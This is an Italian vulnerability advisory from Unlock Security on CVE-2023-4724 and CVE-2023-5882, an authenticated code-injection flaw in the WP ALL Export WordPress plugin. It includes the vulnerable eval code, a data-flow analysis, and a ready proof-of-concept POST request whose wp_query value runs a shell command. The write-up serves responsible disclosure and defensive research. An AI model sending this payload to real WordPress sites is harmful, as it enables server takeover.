logo-unlock-security

CVE-2023-4724 | CVE-2023-5882

cve-2023-4724-cve-2023-5882-wp-all-export-remote-code-execution-rce

WP ALL Export (Free < 1.4.1, Pro < 1.8.6) - Multiple Authenticated Remote Code Execution

Autore

Francesco Marano, Donato Di Pasquale

Prodotto affetto

WP ALL Export < 1.4.1 (WordPress plugin), WP ALL Export Pro < 1.8.6 (WordPress plugin)

Descrizione del prodotto

WP All Export è un plugin per WordPress che permette di esportare qualsiasi dato in WordPress, compresi temi e plugin, in CSV, XML o altri formati con una comoda interfaccia drag & drop.

Dettagli della vulnerabilità

Non è un mistero ormai che in Unlock Security siamo grandi fan di SemGrep per fare code review. Lo utilizziamo spesso per scrivere regole precise per scovare in automatico pattern complessi nel codice, seguendo il flusso dei dati dall'input utente fino a utilizzi potenzialmente non sicuri.

Per fare dei test siamo soliti utilizzare i plugin di WordPress perché sono tanti (90.000+) e perché sono scritti da tutti i tipi di programmatori possibili: singole persone alle prime armi, professionisti, aziende, … ognuno con il proprio modo di scrivere codice. Scrivere una buona regola per SemGrep che non dia né troppi falsi positivi né troppi falsi negativi in questo scenario è una vera impresa, ma può portare a risultati molto soddisfacenti.

Durante i test per la regola che trova vulnerabilità di tipo code injection abbiamo subito un match:

┌─────────────────┐
│ 3 Code Findings │
└─────────────────┘

    ./wp-content/plugins/wp-all-export/actions/wp_ajax_wpae_preview.php 
       php.wordpress-plugins.security.wp-sec-code-injection                                                                                    
          Detected user input used as code or callback to execute. This is usually bad practice        
          because it could accidentally result in Remote Command Execution (RCE). An attacker could    
          use it to takeover the entire website.

          125┆ $exportQuery = eval('return new WP_User_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'number\' => 10));');
            ⋮┆----------------------------------------
          128┆ $exportQuery = eval('return new WP_Comment_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'number\' => 10));');
            ⋮┆----------------------------------------
          135┆ $exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'posts_per_page\' => 10));');

Guardando questi tre snippet è chiaro che se abbiamo un modo di raggiungere una qualunque tra le righe di codice segnalate e abbiamo il controllo del valore di $exportOptions['wp_query'], allora possiamo eseguire codice PHP arbitrario. Di seguito un estratto semplificato del codice vulnerabile:

actions/wp_ajax_wpae_preview.php
<?php /** * AJAX action for preview export row */ function pmxe_wp_ajax_wpae_preview(){ if ( ! check_ajax_referer( 'wp_all_export_secure', 'security', false )){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); } if ( ! current_user_can( PMXE_Plugin::$capabilities ) ){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); } // … $values = array(); parse_str($_POST['data'], $values); if(is_array($values['cc_options'])) { // … } // … $exportOptions = $values + (PMXE_Plugin::$session->has_session() ? PMXE_Plugin::$session->get_clear_session_data() : array()) + PMXE_Plugin::get_default_import_options(); // … if ( 'advanced' == $exportOptions['export_type'] ) { if ( XmlExportEngine::$is_user_export ) { $exportQuery = eval('return new WP_User_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'number\' => 10));'); } elseif ( XmlExportEngine::$is_comment_export ) { $exportQuery = eval('return new WP_Comment_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'number\' => 10));'); } else { // … $exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'posts_per_page\' => 10));'); } } // …

Il flusso di dati dall'input utente (source) alla funzione vulnerabile (sink) può essere riassunto in questo modo:

/* $_POST['data'] string is parsed as an array into $values */
parse_str($_POST['data'], $values);

/* $values is added into $exportOptions */
$exportOptions = $values + // …

/* $exportOptions['export_type'] must be 'advanced' to reach the vulnerable code */
if ( 'advanced' == $exportOptions['export_type'] )
{
    /* We don't care of all the if clause since we have the same code in all of them and in the else clause too */
	$exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'posts_per_page\' => 10));');

Il codice vulnerabile si trova all'interno della funzione pmxe_wp_ajax_wpae_preview nella cartella actions/. Cercando in tutto il codice del plugin l'invocazione di questa funzione non si hanno riscontri. Dopo un'analisi più approfondita è possibile vedere che questa funzione viene registrata come una action AJAX di WordPress basandosi sul nome del file PHP che la contiene; e questo processo viene ripetuto per tutti i file PHP nella stessa cartella:

wp-all-export.php
// register action handlers if (is_dir(self::ROOT_DIR . '/actions')) if (is_dir(self::ROOT_DIR . '/actions')) foreach (PMXE_Helper::safe_glob(self::ROOT_DIR . '/actions/*.php', PMXE_Helper::GLOB_RECURSE | PMXE_Helper::GLOB_PATH) as $filePath) { require_once $filePath; $function = $actionName = basename($filePath, '.php'); if (preg_match('%^(.+?)[_-](\d+)$%', $actionName, $m)) { $actionName = $m[1]; $priority = intval($m[2]); } else { $priority = 10; } add_action($actionName, self::PREFIX . str_replace('-', '_', $function), $priority, 99); // since we don't know at this point how many parameters each plugin expects, we make sure they will be provided with all of them (it's unlikely any developer will specify more than 99 parameters in a function) }

Questo significa che nel nostro caso verrà registrata una action AJAX autenticata (prefisso wp_ajax_) chiamata wpae_preview che invocherà la funzione vulnerabile pmxe_wp_ajax_wpae_preview.

Sappiamo già che dobbiamo essere autenticati per utilizzare questa action AJAX, ma qual è il ruolo minimo che il nostro utente deve avere? Ci sono altri prerequisiti? La risposta a queste domande viene dalle prime righe della funzione vulnerabile:

actions/wp_ajax_wpae_preview.php
function pmxe_wp_ajax_wpae_preview(){ if ( ! check_ajax_referer( 'wp_all_export_secure', 'security', false )){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); } if ( ! current_user_can( PMXE_Plugin::$capabilities ) ){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); }

Abbiamo innanzitutto bisogno che il nostro utente abbia la capability specificata in PMXE_Plugin::$capabilities che corrisponde a manage_options. Questa capability indica la possibilità per un utente di accedere e gestire le impostazioni di WordPress, quindi solamente l'utente amministratore la possiede.

In secondo luogo abbiamo bisogno di un token CSRF valido da passare con il parametro security e questo si può facilmente cercare nel codice HTML della pagina principale del plugin utilizzando proprio la parola chiave security:

Ottenere il valore del parametro securekey utilizzando la console del browser

Una volta ottenuto un token CSRF valido e sapendo che la funzione vulnerabile è associata a una Action AJAX possiamo facilmente costruire il nostro payload. Vediamo i punti salienti del codice della funzione pmxe_wp_ajax_wpae_preview:

  1. Essendo una Action AJAX l'endpoint da interrogare è /wp-admin/wp-ajax.php e deve essere specificata la action da invocare tramite il parametro GET o POST action, in questo caso wpae_preview.
  2. Il token CSRF deve essere passato tramite il parametro GET o POST security:
    if ( ! check_ajax_referer( 'wp_all_export_secure', 'security', false )){
    	exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) );
    }
  3. Devono essere presenti i cookie di sessione di un utente privilegiato:
    if ( ! current_user_can( PMXE_Plugin::$capabilities ) ){
    	exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) );
    }
  4. La restante parte dei dati deve essere passata come stringa in un unico parametro data:
    $values = array();
    parse_str($_POST['data'], $values);
    Questo in particolare significa che se dobbiamo passare due parametri a=1 e b=unlock dovremo inviarli come a=1&b=unlock ricordandoci di fare un URL-encoding dei caratteri speciali per evitare di rompere la sintassi del parametro POST data, quindi in questo caso avremo data=a=1%26b=unlock
  5. Un parametro cc_options come parte del parametro data con qualunque valore che non sia un array per non avere un errore durante l'accesso a un parametro non esistente, e allo stesso tempo che sia tale da non rendere la condizione vera dell'if (meno codice si esegue prima di arrivare a quello vulnerabile e meglio è):
    if(is_array($values['cc_options']))
  6. Un parametro export_type=advanced come parte del parametro data:
    if ( 'advanced' == $exportOptions['export_type'] )
    
  7. Un parametro wp_query come parte del parametro data che abbia come valore il codice che vogliamo eseguire:
    $exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'posts_per_page\' => 10));');

Proof of Concept

La richiesta HTTP da utilizzare per sfruttare la vulnerabilità è quindi la seguente:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.example.com
User-Agent: whatever
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 101
Cookie: <YOUR-ADMIN-COOKIES-HERE>

action=wpae_preview&security=<CSRF-TOKEN-HERE>&data=cc_options=%26export_type=advanced%26wp_query=exit(`id`)
Richiesta HTTP malevola in grado di eseguire il comando
Richiesta HTTP malevola in grado di mostrare il risultato dell'invocazione della funzione phpinfo()

Disclosure timeline

18/08/2023

Vulnerabilità segnalata a WPScan

01/09/2023

Assegnata CVE-2023-4724

31/10/2023

Assegnata CVE-2023-5882

13/11/2023

Rilasciata fix ufficiale

21/11/2023

Advisory pubblicato da WPScan

07/12/2023

Pubblicata Proof of Concept (PoC)